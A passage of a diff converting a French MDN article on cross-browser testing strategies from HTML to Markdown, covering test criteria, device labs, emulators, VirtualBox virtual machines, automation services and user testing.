de mettre en place une fonctionnalité web utilisable.</p> +Considérez l'exemple suivant (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html), et aussi l'[exemple exécuté en direct](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html)) : -<p>Considérez l'exemple suivant (voir le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html">code source</a>, et aussi l'<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html">exemple exécuté en direct</a>) :</p> + -<p><img alt="" src="sliding-box-demo.png"></p> +Les critères de test pour cette fonctionnalité peuvent être rédigés comme ceci : -<p>Les critères de test pour cette fonctionnalité peuvent être rédigés comme ceci :</p> +Grade A et B : -<p>Grade A et B :</p> +- Le bouton doit être activable par le mécanisme de contrôle primaire de l'utilisateur, qu'importe ce qu'il est — cela doit inclure la souris, le clavier, et le tactile. +- Appuyer sur le bouton doit faire apparaître/disparaître la boîte d'information. +- Le texte doit être lisible. +- Les utilisateurs malvoyants utilisant des lecteurs d'écran doivent pouvoir accéder au texte. -<ul> - <li>Le bouton doit être activable par le mécanisme de contrôle primaire de l'utilisateur, qu'importe ce qu'il est — cela doit inclure la souris, le clavier, et le tactile.</li> - <li>Appuyer sur le bouton doit faire apparaître/disparaître la boîte d'information.</li> - <li>Le texte doit être lisible.</li> - <li>Les utilisateurs malvoyants utilisant des lecteurs d'écran doivent pouvoir accéder au texte.</li> -</ul> +Grade A : -<p>Grade A :</p> +- La boîte d'information doit s'animer de façon fluide quand elle apparaît/disparaît +- Le gradient et l'ombre du texte doivent apparaître afin de mettre en valeur l'aspect de la boîte. -<ul> - <li>La boîte d'information doit s'animer de façon fluide quand elle apparaît/disparaît</li> - <li>Le gradient et l'ombre du texte doivent apparaître afin de mettre en valeur l'aspect de la boîte.</li> -</ul> +Vous avez dû remarquer que le texte dans l'exemple ne fonctionne pas sur IE8 — selon notre liste de support c'est un problème, que vous devez résoudre, peut-être en utilisant une librairie de détection afin d'implémenter la fonctionnalité d'une autre manière si le navigateur ne supporte pas les transitions CSS (voir Implémenter une fonctionnalité de détection, plus tard dans le cours) -<p>Vous avez dû remarquer que le texte dans l'exemple ne fonctionne pas sur IE8 — selon notre liste de support c'est un problème, que vous devez résoudre, peut-être en utilisant une librairie de détection afin d'implémenter la fonctionnalité d'une autre manière si le navigateur ne supporte pas les transitions CSS (voir Implémenter une fonctionnalité de détection, plus tard dans le cours)</p> +Vous avez aussi dû remarquer que le bouton n'est pas utilisable en se servant du clavier — cela a aussi besoin d'être résolu. Peut-être que nous pouvons utiliser un peu de Javascript afin d'implémenter un contrôle clavier pour le basculement, ou utiliser une tout autre méthode ? -<p>Vous avez aussi dû remarquer que le bouton n'est pas utilisable en se servant du clavier — cela a aussi besoin d'être résolu. Peut-être que nous pouvons utiliser un peu de Javascript afin d'implémenter un contrôle clavier pour le basculement, ou utiliser une tout autre méthode ?</p> +Ces critères de test sont utiles, parce que : -<p>Ces critères de test sont utiles, parce que :</p> +- Ils vous donnent une série d'étapes à suivre lorsque vous jouer des tests. +- Ils peuvent être facilement transformés en listes d'instructions à suivre pour les groupes d'utilisateurs lorsqu'ils effectuent des tests (par ex. "essayer d'activer les bouton en utilisant votre souris, et ensuite le clavier...") — voir {{anch("User testing")}}, voir plus bas. +- Ils peuvent aussi apporter une base pour rédiger les tests automatiques. C'est plus simple d'écrire de tels tests si vous savez exactement ce que vous voulez tester, et quelles sont les conditions de succès (voir Utiliser un outil d'automatisation pour les tests automatiques de navigateurs, plus tard dans cette série). -<ul> - <li>Ils vous donnent une série d'étapes à suivre lorsque vous jouer des tests.</li> - <li>Ils peuvent être facilement transformés en listes d'instructions à suivre pour les groupes d'utilisateurs lorsqu'ils effectuent des tests (par ex. "essayer d'activer les bouton en utilisant votre souris, et ensuite le clavier...") — voir {{anch("User testing")}}, voir plus bas.</li> - <li>Ils peuvent aussi apporter une base pour rédiger les tests automatiques. C'est plus simple d'écrire de tels tests si vous savez exactement ce que vous voulez tester, et quelles sont les conditions de succès (voir Utiliser un outil d'automatisation pour les tests automatiques de navigateurs, plus tard dans cette série).</li> -</ul> +## Mettre en place ensemble un labo de test -<h2 id="Mettre_en_place_ensemble_un_labo_de_test">Mettre en place ensemble un labo de test</h2> +Une option pour effectuer les tests sur navigateurs et de faire les tests par vous-mêmes. Pour faire cela, vous allez sûrement utiliser une combinaison d'appareils physiques actuels, et simuler des environnements (utiliser soit un émulateur ou une machine virtuelle). -<p>Une option pour effectuer les tests sur navigateurs et de faire les tests par vous-mêmes. Pour faire cela, vous allez sûrement utiliser une combinaison d'appareils physiques actuels, et simuler des environnements (utiliser soit un émulateur ou une machine virtuelle).</p> +### Les appareils physiques -<h3 id="Les_appareils_physiques">Les appareils physiques</h3> +C'est généralement le mieux d'avoir de vrais supports pour exécuter le navigateur que vous voulez tester — cela fournit la plus grande précision en termes de comportement et sur l'ensemble de l'expérience utilisateur. Vous allez sûrement avoir besoin de quelque chose comme suit, pour un labo d'appareils de bas niveau : -<p>C'est généralement le mieux d'avoir de vrais supports pour exécuter le navigateur que vous voulez tester — cela fournit la plus grande précision en termes de comportement et sur l'ensemble de l'expérience utilisateur. Vous allez sûrement avoir besoin de quelque chose comme suit, pour un labo d'appareils de bas niveau :</p> +- Un Mac, avec les navigateurs installés que vous avec besoin de tester — cela peut inclure Firefox, Chrome, Opera et Safari. +- Un PC Windows, avec les navigateurs installés que vous avez besoin de tester — cela peut inclure Edge (ou IE), Chrome, Firefox et Opera. +- Un téléphone et une tablette Android haut de gamme avec les navigateurs installés que vous avez besoin de tester — cela peut inclure Chrome, Firefox, et Opera Mini pour Android, bien entendu l'original Android stock browser. +- Un téléphone et une tablette iOS haut de gamme avec les navigateurs installés que vous avez besoin de tester — cela peut inclure iOS Safari, et Chrome, Firefox, et Opera Mini pour iOS. -<ul> - <li>Un Mac, avec les navigateurs installés que vous avec besoin de tester — cela peut inclure Firefox, Chrome, Opera et Safari.</li> - <li>Un PC Windows, avec les navigateurs installés que vous avez besoin de tester — cela peut inclure Edge (ou IE), Chrome, Firefox et Opera.</li> - <li>Un téléphone et une tablette Android haut de gamme avec les navigateurs installés que vous avez besoin de tester — cela peut inclure Chrome, Firefox, et Opera Mini pour Android, bien entendu l'original Android stock browser.</li> - <li>Un téléphone et une tablette iOS haut de gamme avec les navigateurs installés que vous avez besoin de tester — cela peut inclure iOS Safari, et Chrome, Firefox, et Opera Mini pour iOS.</li> -</ul> +Les éléments suivants sont également une bonne option, si vous pouvez les obtenir : -<p>Les éléments suivants sont également une bonne option, si vous pouvez les obtenir :</p> +- Un PC Linux sous la main, dans le cas où vous avez besoin de tester des bugs spécifiques sur des versions de navigateurs de Linux. Les utilisateurs de Linux utilisent généralement Firefox, Opera, et Chrome. Si vous n'avez qu'une seule machine de disponible, vous pouvez envisager de créer une machine en dual boot exécutant Linux et Windows sur des partitions séparées. L'installeur d'Ubuntu rend cela assez facile à configurer ; voir [WindowsDualBoot](https://help.ubuntu.com/community/WindowsDualBoot) pour de l'aide à ce propos. +- Une paire d'appareils mobile bas de gamme, afin que vous puissiez tester la performance des fonctionnalités comme les animations sur des processeurs faibles. -<ul> - <li>Un PC Linux sous la main, dans le cas où vous avez besoin de tester des bugs spécifiques sur des versions de navigateurs de Linux. Les utilisateurs de Linux utilisent généralement Firefox, Opera, et Chrome. Si vous n'avez qu'une seule machine de disponible, vous pouvez envisager de créer une machine en dual boot exécutant Linux et Windows sur des partitions séparées. L'installeur d'Ubuntu rend cela assez facile à configurer ; voir <a href="https://help.ubuntu.com/community/WindowsDualBoot">WindowsDualBoot</a> pour de l'aide à ce propos.</li> - <li>Une paire d'appareils mobile bas de gamme, afin que vous puissiez tester la performance des fonctionnalités comme les animations sur des processeurs faibles.</li> -</ul> +Votre machine de travail principale peut aussi être un support pour installer d'autre outils pour une objectif spécifique, comme des outils de vérification de l'accessibilité, des lecteurs d'écran, et des émulateurs/machines virtuelles. -<p>Votre machine de travail principale peut aussi être un support pour installer d'autre outils pour une objectif spécifique, comme des outils de vérification de l'accessibilité, des lecteurs d'écran, et des émulateurs/machines virtuelles.</p> +Certaines grandes entreprises ont des labos d'appareils qui stockent une sélection très large de différents appareils, permettant aux développeurs de traquer les bugs sur des combinaisons de navigateur/appareil très précises. Les plus petites entreprises et les indépendants n'ont généralement pas les moyens de s'offrir des labos aussi sophistiqués, ils ont donc tendance à avoir des labos plus petits, des émulateurs, des machines virtuelles et des applis de tests commerciales. -<p>Certaines grandes entreprises ont des labos d'appareils qui stockent une sélection très large de différents appareils, permettant aux développeurs de traquer les bugs sur des combinaisons de navigateur/appareil très précises. Les plus petites entreprises et les indépendants n'ont généralement pas les moyens de s'offrir des labos aussi sophistiqués, ils ont donc tendance à avoir des labos plus petits, des émulateurs, des machines virtuelles et des applis de tests commerciales.</p> +Nous couvrirons chacune des autres options plus bas. -<p>Nous couvrirons chacune des autres options plus bas.</p> +> **Note :** Certains efforts ont été effectué afin de créer des labos d'appareils accessibles au public — voir [Open Device Labs](https://opendevicelab.com/). -<div class="note"> -<p><strong>Note :</strong> Certains efforts ont été effectué afin de créer des labos d'appareils accessibles au public — voir <a href="https://opendevicelab.com/">Open Device Labs</a>.</p> -</div> +> **Note :** Nous devons aussi prendre en considération l'accessibilité — il y a plusieurs outils utiles que vous pouvez installer sur votre machine afin de faciliter les tests d'accessibilité, mais nous les couvrirons dans l'article Gestion des problèmes communs d'accessibilité, plus tard dans le cours. -<div class="note"> -<p><strong>Note :</strong> Nous devons aussi prendre en considération l'accessibilité — il y a plusieurs outils utiles que vous pouvez installer sur votre machine afin de faciliter les tests d'accessibilité, mais nous les couvrirons dans l'article Gestion des problèmes communs d'accessibilité, plus tard dans le cours.</p> -</div> +### Les émulateurs -<h3 id="Les_émulateurs">Les émulateurs</h3> +Les émulateurs sont essentiellement des programmes qui s'exécutent à l'intérieur de votre ordinateur et simulent des appareils ou des conditions particulières d'appareil d'un certain type, ils vous permettent de faire certains tests plus aisément qu'en ayant à trouver une combinaison de matériels/logiciels à tester. -<p>Les émulateurs sont essentiellement des programmes qui s'exécutent à l'intérieur de votre ordinateur et simulent des appareils ou des conditions particulières d'appareil d'un certain type, ils vous permettent de faire certains tests plus aisément qu'en ayant à trouver une combinaison de matériels/logiciels à tester.</p> +Un émulateur peut être aussi simple à tester qu'une condition d'appareil. Par exemple, si vous voulez faire quelques tests rapides et sales de la largeur/hauteur de vos media queries pour le responsive design, vous pouvez utiliser le[ Mode Design Responsive](/fr/docs/Tools/Responsive_Design_Mode) de Firefox. Safari possède également un mode similaire, qui peut être activé en allant dans _Safari_ > _Préférences_, et en cochant _Show Develop menu_, puis en choisissant _Develop > Enter Responsive Design Mode_. Chrome propose également quelque chose de similaire : Device mode (voir [Simuler un Appareil Mobile avec le Device Mode](https://developers.google.com/web/tools/chrome-devtools/device-mode/)). -<p>Un émulateur peut être aussi simple à tester qu'une condition d'appareil. Par exemple, si vous voulez faire quelques tests rapides et sales de la largeur/hauteur de vos media queries pour le responsive design, vous pouvez utiliser le<a href="/fr/docs/Tools/Responsive_Design_Mode"> Mode Design Responsive</a> de Firefox. Safari possède également un mode similaire, qui peut être activé en allant dans <em>Safari</em> > <em>Préférences</em>, et en cochant <em>Show Develop menu</em>, puis en choisissant <em>Develop > Enter Responsive Design Mode</em>. Chrome propose également quelque chose de similaire : Device mode (voir <a href="https://developers.google.com/web/tools/chrome-devtools/device-mode/">Simuler un Appareil Mobile avec le Device Mode</a>).</p> +Le plus souvent, vous allez devoir installer un émulateur. Les appareils/navigateurs les plus courants que vous allez devoir tester sont les suivants : -<p>Le plus souvent, vous allez devoir installer un émulateur. Les appareils/navigateurs les plus courants que vous allez devoir tester sont les suivants :</p> +- L'officiel [Android Studio IDE](https://developer.android.com/studio/) pour développer des applis Android, il est assez pesant juste pour tester des sites web sur Google Chrome ou le vieux Stock Android browser, mais il est fournit avec un [émulateur](https://developer.android.com/studio/run/emulator.html) Robuste. Si vous voulez quelque chose d'un peu plus léger, [LeapDroid](http://leapdroid.com/) est une bonne option pour Windows et [Andy](http://www.andyroid.net/) est une option acceptable qui s'exécute aussi bien sur Windows que sur Mac. +- Apple fournit une appli appelée [Simulator](https://developer.apple.com/library/content/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html) qui s'exécute au-dessus de l'environnement de développement [XCode](https://developer.apple.com/xcode/), et émule iPad/iPhone/Apple Watch/Apple TV. Il comprend le navigateur natif iOS Safari. Il n'est malheureusement disponible que pour Mac. -<ul> - <li>L'officiel <a href="https://developer.android.com/studio/">Android Studio IDE</a> pour développer des applis Android, il est assez pesant juste pour tester des sites web sur Google Chrome ou le vieux Stock Android browser, mais il est fournit avec un <a href="https://developer.android.com/studio/run/emulator.html">émulateur</a> Robuste. Si vous voulez quelque chose d'un peu plus léger, <a href="http://leapdroid.com/">LeapDroid</a> est une bonne option pour Windows et <a href="http://www.andyroid.net/">Andy</a> est une option acceptable qui s'exécute aussi bien sur Windows que sur Mac.</li> - <li>Apple fournit une appli appelée <a href="https://developer.apple.com/library/content/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html">Simulator</a> qui s'exécute au-dessus de l'environnement de développement <a href="https://developer.apple.com/xcode/">XCode</a>, et émule iPad/iPhone/Apple Watch/Apple TV. Il comprend le navigateur natif iOS Safari. Il n'est malheureusement disponible que pour Mac.</li> -</ul> +Vous pouvez facilement trouver des simulateurs pour les autres environnements d'appareil mobile, par exemple : -<p>Vous pouvez facilement trouver des simulateurs pour les autres environnements d'appareil mobile, par exemple :</p> +- [Blackberry](https://developer.blackberry.com/develop/simulator/) (émulateur disponible pour Windows, Mac OSX et Linux). +- Vous pouvez simuler [Opera Mini](https://dev.opera.com/articles/installing-opera-mini-on-your-computer/) tel quel si vous voulez le tester. +- Il y a des émulateurs disponibles pour les OSs Windows Mobile : voir [Les émulateurs pour les Windows Phone 8](<https://msdn.microsoft.com/en-us/library/windows/apps/ff402563(v=vs.105).aspx>) et [Test avec l'Emulateur Microsoft pour Windows 10 Mobile](https://msdn.microsoft.com/en-us/windows/uwp/debug-test-perf/test-with-the-emulator) (il ne fonctionnent que sur Windows). -<ul> - <li><a href="https://developer.blackberry.com/develop/simulator/">Blackberry</a> (émulateur disponible pour Windows, Mac OSX et Linux).</li> - <li>Vous pouvez simuler <a href="https://dev.opera.com/articles/installing-opera-mini-on-your-computer/">Opera Mini</a> tel quel si vous voulez le tester.</li> - <li>Il y a des émulateurs disponibles pour les OSs Windows Mobile : voir <a href="https://msdn.microsoft.com/en-us/library/windows/apps/ff402563(v=vs.105).aspx">Les émulateurs pour les Windows Phone 8</a> et <a href="https://msdn.microsoft.com/en-us/windows/uwp/debug-test-perf/test-with-the-emulator">Test avec l'Emulateur Microsoft pour Windows 10 Mobile</a> (il ne fonctionnent que sur Windows).</li> -</ul> +> **Note :** Beaucoup d'émulateurs requièrent actuellement l'utilisation d'une machine virtuelle (voir en-dessous) ; quand c'est le cas, les instructions sont souvent fournies, et/ou l'utilisation de la machine virtuelle est inclue dans l'installeur de l'émulateur. -<div class="note"> -<p><strong>Note :</strong> Beaucoup d'émulateurs requièrent actuellement l'utilisation d'une machine virtuelle (voir en-dessous) ; quand c'est le cas, les instructions sont souvent fournies, et/ou l'utilisation de la machine virtuelle est inclue dans l'installeur de l'émulateur.</p> -</div> +### Les machines virtuelles -<h3 id="Les_machines_virtuelles">Les machines virtuelles</h3> +Les machines virtuelles sont des applications qui s'exécutent sur le bureau de votre ordinateur et vous permettent d'exécuter les simulations de tous les systèmes d'exploitation, chacun compartimenté sur son propre disque dur virtuel (souvent représenté par un seul large fichier existant sur le disque dur de la machine hôte). Il y a plusieurs applis de machine virtuelle populaire, comme [Parallels](www.parallels.com/), [VMWare](http://www.vmware.com/), et [Virtual Box](https://www.virtualbox.org/wiki/Downloads); personnellement, nous préférons la dernière, parce qu'elle est gratuite. -<p>Les machines virtuelles sont des applications qui s'exécutent sur le bureau de votre ordinateur et vous permettent d'exécuter les simulations de tous les systèmes d'exploitation, chacun compartimenté sur son propre disque dur virtuel (souvent représenté par un seul large fichier existant sur le disque dur de la machine hôte). Il y a plusieurs applis de machine virtuelle populaire, comme <a href="www.parallels.com/">Parallels</a>, <a href="http://www.vmware.com/">VMWare</a>, et <a href="https://www.virtualbox.org/wiki/Downloads">Virtual Box</a>; personnellement, nous préférons la dernière, parce qu'elle est gratuite.</p> +> **Note :** Nous avons besoin de beaucoup d'espace disponible sur le disque dur pour exécuter les émulations de machine virtuelle ; chaque système d'exploitation que vous émulez peut prendre beaucoup de mémoire. Vous aurez tendance à choisir l'espace de disque dur que vous voulez pour chaque installation ; vous pouvez vous en sortir avec environ 10Go, mais certaines sources recommandent d'augmenter à 50Go ou plus, alors le système d'exploitation s'éxécutera de façon fiable. Une bonne option fournit par la plupart des applis de machine virtuelle est de créer des disques durs à allocations dynamiques qui grossissent et rétrécissent en fonction que les besoins surviennent. -<div class="note"> -<p><strong>Note :</strong> Nous avons besoin de beaucoup d'espace disponible sur le disque dur pour exécuter les émulations de machine virtuelle ; chaque système d'exploitation que vous émulez peut prendre beaucoup de mémoire. Vous aurez tendance à choisir l'espace de disque dur que vous voulez pour chaque installation ; vous pouvez vous en sortir avec environ 10Go, mais certaines sources recommandent d'augmenter à 50Go ou plus, alors le système d'exploitation s'éxécutera de façon fiable. Une bonne option fournit par la plupart des applis de machine virtuelle est de créer des disques durs à allocations dynamiques qui grossissent et rétrécissent en fonction que les besoins surviennent.</p> -</div> +Pour utiliser Virtual Box, vous avez besoin de : -<p>Pour utiliser Virtual Box, vous avez besoin de :</p> +1. Procurez-vous un disque d'installation ou une image (par ex. un ISO) du système d'exploitation que vous voulez émuler. Virtual Box est en mesure de vous les fournir ; la plupart, comme les OSs de Windows, sont des produits commerciaux qui ne peuvent être distribués gratuitement. +2. [Téléchargez l'installeur approprié](https://www.virtualbox.org/wiki/Downloads) pour votre système d'exploitation et installez-le. +3. Ouvrez l'appli ; vous verrez une vue ressemblant à ceci :  +4. Pour créer une nouvelle machine virtuelle, appuyer sur le bouton _Nouveau_ dans le coin en haut à gauche. +5. Suivez les instructions et remplissez les boîtes de dialogues suivantes comme il se doit. Vous allez : -<ol> - <li>Procurez-vous un disque d'installation ou une image (par ex. un ISO) du système d'exploitation que vous voulez émuler. Virtual Box est en mesure de vous les fournir ; la plupart, comme les OSs de Windows, sont des produits commerciaux qui ne peuvent être distribués gratuitement.</li> - <li><a href="https://www.virtualbox.org/wiki/Downloads">Téléchargez l'installeur approprié</a> pour votre système d'exploitation et installez-le.</li> - <li>Ouvrez l'appli ; vous verrez une vue ressemblant à ceci : <img alt="" src="virtualbox.png"></li> - <li>Pour créer une nouvelle machine virtuelle, appuyer sur le bouton <em>Nouveau</em> dans le coin en haut à gauche.</li> - <li>Suivez les instructions et remplissez les boîtes de dialogues suivantes comme il se doit. Vous allez : - <ol> - <li>Donner un nom à votre machine virtuelle</li> - <li>Choisir un système d'exploitation et une version que vous allez installer dessus</li> - <li>Préciser combien de RAM doit être allouée (nous vous recommandons quelque chose comme 2048Mo, ou 2Go)</li> - <li>Créer un disque dur virtuel (choisissez les options pas défaut à travers les trois boîtes de dialogues contenant <em>Créer un disque dur virtuel maintenant</em>, <em>IDV (image disque virtuelle)</em>, <em>Allocation dynamique</em>)</li> - <li>Choisissez l'emplacement du fichier et la taille du disque dur virtuel (choisir un nom sensé et un emplacement facile à garder, et pour la dimension préciser quelque chose autour de 50Go, ou autant que vous pensez que c'est nécessaire)</li> - </ol> - </li> -</ol> + 1. Donner un nom à votre machine virtuelle + 2. Choisir un système d'exploitation et une version que vous allez installer dessus + 3. Préciser combien de RAM doit être allouée (nous vous recommandons quelque chose comme 2048Mo, ou 2Go) + 4. Créer un disque dur virtuel (choisissez les options pas défaut à travers les trois boîtes de dialogues contenant _Créer un disque dur virtuel maintenant_, _IDV (image disque virtuelle)_, _Allocation dynamique_) + 5. Choisissez l'emplacement du fichier et la taille du disque dur virtuel (choisir un nom sensé et un emplacement facile à garder, et pour la dimension préciser quelque chose autour de 50Go, ou autant que vous pensez que c'est nécessaire) -<p>Maintenant la nouvelle virtual box devrait apparaître dans le menu gauche de la fenêtre de l'interface principale de Virtual Box. A ce stade, vous pouvez double-cliquer dessus pour ouvrir la virtual box — cela commencera à démarrer la machine virtuelle, mais il n'y aura pas encore le système d'exploitation d'installé. A cet instant vous devez préciser à la boîte de dialogue l'image de votre programme d'installation, et les étapes s'exécuteront une par une dans la machine virtuelle, exactement comme si c'était un vrai ordinateur.</p> +Maintenant la nouvelle virtual box devrait apparaître dans le menu gauche de la fenêtre de l'interface principale de Virtual Box. A ce stade, vous pouvez double-cliquer dessus pour ouvrir la virtual box — cela commencera à démarrer la machine virtuelle, mais il n'y aura pas encore le système d'exploitation d'installé. A cet instant vous devez préciser à la boîte de dialogue l'image de votre programme d'installation, et les étapes s'exécuteront une par une dans la machine virtuelle, exactement comme si c'était un vrai ordinateur. -<p><img alt="" src="virtualbox-installer.png"></p> + -<div class="warning"> -<p><strong>Attention :</strong> Vous devez vous assurez que vous avez l'image du système d'exploitation que vous voulez installer sur la machine virtuelle existante à ce stade, et l'installer complètement. Si vous annulé le processus à ce stade, cela peut rendre la machine virtuelle inutilisable, et vous amener à la supprimer et en créer une nouvelle. Ce n'est pas fatal, mais c'est ennuyant.</p> -</div> +> **Attention :** Vous devez vous assurez que vous avez l'image du système d'exploitation que vous voulez installer sur la machine virtuelle existante à ce stade, et l'installer complètement. Si vous annulé le processus à ce stade, cela peut rendre la machine virtuelle inutilisable, et vous amener à la supprimer et en créer une nouvelle. Ce n'est pas fatal, mais c'est ennuyant. -<p>Une fois que le processus est complété, vous devriez avoir une machine virtuelle exécutant un système d'exploitation à l'intérieur d'une fenêtre sur votre ordinateur hôte.</p> +Une fois que le processus est complété, vous devriez avoir une machine virtuelle exécutant un système d'exploitation à l'intérieur d'une fenêtre sur votre ordinateur hôte. -<p><img alt="" src="virtualbox-running.png"></p> + -<p>Vous devez vous occuper de l'installation de ce système d'exploitation virtuel exactement comme d'une installation réelle — par exemple, de même que vous devez installer les navigateurs que vous voulez tester, installez un programme d'antivirus pour vous protégez des virus.</p> +Vous devez vous occuper de l'installation de ce système d'exploitation virtuel exactement comme d'une installation réelle — par exemple, de même que vous devez installer les navigateurs que vous voulez tester, installez un programme d'antivirus pour vous protégez des virus. -<p>Avoir plusieurs machines virtuelles est très utile, particulièrement pour les test IE/Edge sur Windows — sur Windows, vous n'êtes pas autorisé à avoir de multiples versions du navigateur par défaut installé, donc vous pouvez vous construire une librairie de machines virtuelles afin de gérer les différents tests requis, par ex. :</p> +Avoir plusieurs machines virtuelles est très utile, particulièrement pour les test IE/Edge sur Windows — sur Windows, vous n'êtes pas autorisé à avoir de multiples versions du navigateur par défaut installé, donc vous pouvez vous construire une librairie de machines virtuelles afin de gérer les différents tests requis, par ex. : -<ul> - <li>Windows 10 avec Edge 14</li> - <li>Windows 10 avec Edge 13</li> - <li>Windows 8.1 avec IE11</li> - <li>Windows 8 avec IE10</li> - <li>Windows 7 avec IE9</li> - <li>Windows XP avec IE8</li> - <li>Windows XP avec IE7</li> - <li>Windows XP avec IE6</li> -</ul> +- Windows 10 avec Edge 14 +- Windows 10 avec Edge 13 +- Windows 8.1 avec IE11 +- Windows 8 avec IE10 +- Windows 7 avec IE9 +- Windows XP avec IE8 +- Windows XP avec IE7 +- Windows XP avec IE6 -<div class="note"> -<p><strong>Note :</strong> Une autre bonne chose à propos des machines virtuelles, c'est que les images de disque virtuel sont clairement autonomes. Si vous travaillez en équipe, vous pouvez créer une image disque, puis la copier et vous la passer. Assurez-vous juste d'avoir les licences requises pour exécuter toutes les copies de Windows ou qu'importe ce que vous exécutez, si c'est un produit licencié.</p> -</div> +> **Note :** Une autre bonne chose à propos des machines virtuelles, c'est que les images de disque virtuel sont clairement autonomes. Si vous travaillez en équipe, vous pouvez créer une image disque, puis la copier et vous la passer. Assurez-vous juste d'avoir les licences requises pour exécuter toutes les copies de Windows ou qu'importe ce que vous exécutez, si c'est un produit licencié. -<h3 id="Automatisation_et_applis_commerciales">Automatisation et applis commerciales</h3> +### Automatisation et applis commerciales -<p>Comme précisé dans le chapitre précédent, vous pouvez vous retirer beaucoup de peine concernant les tests de navigateur en utilisant un système d'automatisation. Vous pouvez configurer votre propre système d'automatisation de test (<a href="http://www.seleniumhq.org/">Selenium</a> est devenue l'appli de choix la plus répandue), ce qui nécessite une certaine configuration, mais peut être très satisfaisant lorsque votre travail arrive à terme.</p> +Comme précisé dans le chapitre précédent, vous pouvez vous retirer beaucoup de peine concernant les tests de navigateur en utilisant un système d'automatisation. Vous pouvez configurer votre propre système d'automatisation de test ([Selenium](http://www.seleniumhq.org/) est devenue l'appli de choix la plus répandue), ce qui nécessite une certaine configuration, mais peut être très satisfaisant lorsque votre travail arrive à terme. -<p>Il y a également des outils commercials disponibles comme <a href="https://saucelabs.com/">Sauce Labs</a> et <a href="https://www.browserstack.com/">Browser Stack</a> qui font ce genre de choses pour vous, sans que vous ayez a vous souciez de la configuration, si vous êtes prêt à investir dans vos tests.</p> +Il y a également des outils commercials disponibles comme [Sauce Labs](https://saucelabs.com/) et [Browser Stack](https://www.browserstack.com/) qui font ce genre de choses pour vous, sans que vous ayez a vous souciez de la configuration, si vous êtes prêt à investir dans vos tests. -<p>Nous aborderons comment utiliser de tels outils plus tard dans ce module.</p> +Nous aborderons comment utiliser de tels outils plus tard dans ce module. -<h2 id="Les_tests_utilisateurs">Les tests utilisateurs</h2> +## Les tests utilisateurs -<p>Avant de poursuivre, nous finirons cet article en abordant les tests utilisateurs — cela peut être une bonne option si vous avez un groupe d'utilisateurs volontaires pour tester votre nouvelle fonctionnalité. Ne perdez pas de vue que cela peut être aussi peu ou beaucoup sophistiqué que vous le désirez — votre groupe d'utilisateurs peut être un groupe d'amis, un groupe de collègues, ou un groupe de volontaires bénévoles ou rémunérés, cela dépend si vous avez de l'argent à dépenser en test.</p> +Avant de poursuivre, nous finirons cet article en abordant les tests utilisateurs — cela peut être une bonne option si vous avez un groupe d'utilisateurs volontaires pour tester votre nouvelle fonctionnalité. Ne perdez pas de vue que cela peut être aussi peu ou beaucoup sophistiqué que vous le désirez — votre groupe d'utilisateurs peut être un groupe d'amis, un groupe de collègues, ou un groupe de volontaires bénévoles ou rémunérés, cela dépend si vous avez de l'argent à dépenser en test. -<p>La plupart du temps vous permettrez à vos utilisateurs de regarder la page ou la vue contenant la nouvelle fonctionnalité sur un serveur de développement, de cette manière vous n'exposez pas le site final ou les modifications en direct avant qu'il ne soit terminé. Vous devez leur recommander de suivre certaines étapes et de rapporter les résultats qu'ils ont obtenu. Il est important d'établir une liste d'étapes (parfois appelé script) vous aurez ainsi plus de résultats fiables se rapportant à ce que vous essayez de tester. Nous avons mentionné cela dans la section {{anch("What are you going to test")}} plus haut — c'est facile de transformer les critères de test détaillés ici en étapes à suivre. Par exemple, ce qui suit devrait fonctionner pour un utilisateur voyant :</p> +La plupart du temps vous permettrez à vos utilisateurs de regarder la page ou la vue contenant la nouvelle fonctionnalité sur un serveur de développement, de cette manière vous n'exposez pas le site final ou les modifications en direct avant qu'il ne soit terminé. Vous devez leur recommander de suivre certaines étapes et de rapporter les résultats qu'ils ont obtenu. Il est important d'établir une liste d'étapes (parfois appelé script) vous aurez ainsi plus de résultats fiables se rapportant à ce que vous essayez de tester. Nous avons mentionné cela dans la section {{anch("What are you going to test")}} plus haut — c'est facile de transformer les critères de test détaillés ici en étapes à suivre. Par exemple, ce qui suit devrait fonctionner pour un utilisateur voyant : -<ul> - <li>Cliquez plusieurs fois sur le bouton en point d'interrogation en utilisant votre souris sur votre ordinateur de bureau. Rafraîchir la fenêtre du navigateur.</li> - <li>Sélectionnez et activer plusieurs fois le bouton en point d'interrogation en utilisant votre clavier sur votre ordinateur de bureau.</li> - <li>Touchez plusieurs fois le bouton en point d'interrogation sur l'écran tactile de votre appareil.</li> - <li>Activer le bouton devrait faire apparaitre/disparaître la boîte d'information. Est-ce que cela fonctionne, dans chacun des trois cas ci-dessus ?</li> - <li>Est-ce que le texte est lisible ?</li> - <li>Est-ce que le boîte d'information s'anime sans problème lorsqu'elle apparaît/disparait ?</li> -</ul> +- Cliquez plusieurs fois sur le bouton en point d'interrogation en utilisant votre souris sur votre ordinateur de bureau. Rafraîchir la fenêtre du navigateur. +- Sélectionnez et activer plusieurs fois le bouton en point d'interrogation en utilisant votre clavier sur votre ordinateur de bureau. +- Touchez plusieurs fois le bouton en point d'interrogation sur l'écran tactile de votre appareil. +- Activer le bouton devrait faire apparaitre/disparaître la boîte d'information. Est-ce que cela fonctionne, dans chacun des trois cas ci-dessus ? +- Est-ce que le texte est lisible ? +- Est-ce que le boîte d'information s'anime sans problème lorsqu'elle apparaît/disparait ? -<p>Lorsque vous exécutez les tests, cela peut aussi être une bonne idée de :</p> +Lorsque vous exécutez les tests, cela peut aussi être une bonne idée de : -<ul> - <li>Configurer si possible un profil navigateur séparé, avec les extensions et ces autres types de choses des navigateurs désactivées, et exécuter vos tests sur ce profile (voir <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">Utiliser le Profile Manager pour créer et retirer des profiles Firefox</a> et <a href="https://support.google.com/chrome/answer/2364824">Share Chrome with others or add personas</a>, par exemple).</li> - <li>Utiliser le mode navigation privée sur votre navigateur lorsque vous exécutez vos tests, quand il est disponible (par ex. <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">Private Browsing</a> sur 